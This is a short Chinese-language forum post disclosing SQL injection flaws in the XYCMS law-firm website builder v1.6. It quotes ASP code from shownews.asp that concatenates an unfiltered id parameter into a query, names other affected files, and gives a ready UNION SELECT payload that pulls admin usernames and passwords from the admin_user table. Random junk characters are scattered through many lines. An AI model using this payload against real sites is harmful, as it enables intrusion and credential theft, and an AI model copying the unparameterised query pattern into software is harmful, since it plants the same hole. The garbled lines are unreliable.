XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

; x! \% F# C- ?/ k淫荡分割线
--------------------------------------------------------

2 T$ t7 x6 F* H0 @8 k! h审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
' }; U+ T& g0 R% |+ ?' O源码地址:http://down.chinaz.com/soft/29233.htm
' q) w4 _% @8 o" w0 ]: V. [8 v! c4 C
漏洞文件:shownews.asp
) Y6 S8 e/ p. y$ K8 J: v: P$ E# v漏洞代码：7-13行
! a. g  Z- O8 p
1 q% x2 j9 _# P3 x, S
& X4 Q4 [3 u; H  P; F7 a4 D" K) Z7 t# U<%
+ D& z. B) H: w! ]2 v! B. \id=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
2 N- b' G2 Z6 S9 L& D0 rexec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>


$ o$ _/ T1 c7 r; g  A什么过滤都没有  直造成注入
. ~+ Y4 z: L% g# o3 X) R- z4 [- _
" O4 m+ P5 e$ u注入点:http://127.0.0.1:99/shownews.asp?id=xx

6 B7 N/ h4 m5 }/ D! L( g其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
+ `1 B9 D- y" \* V2 w4 z6 H' {2 l

exp: union select 1,admin,password,4,5,7 from admin_user
​
( E1 c3 |6 t$ E$ O  C% Y7 G- O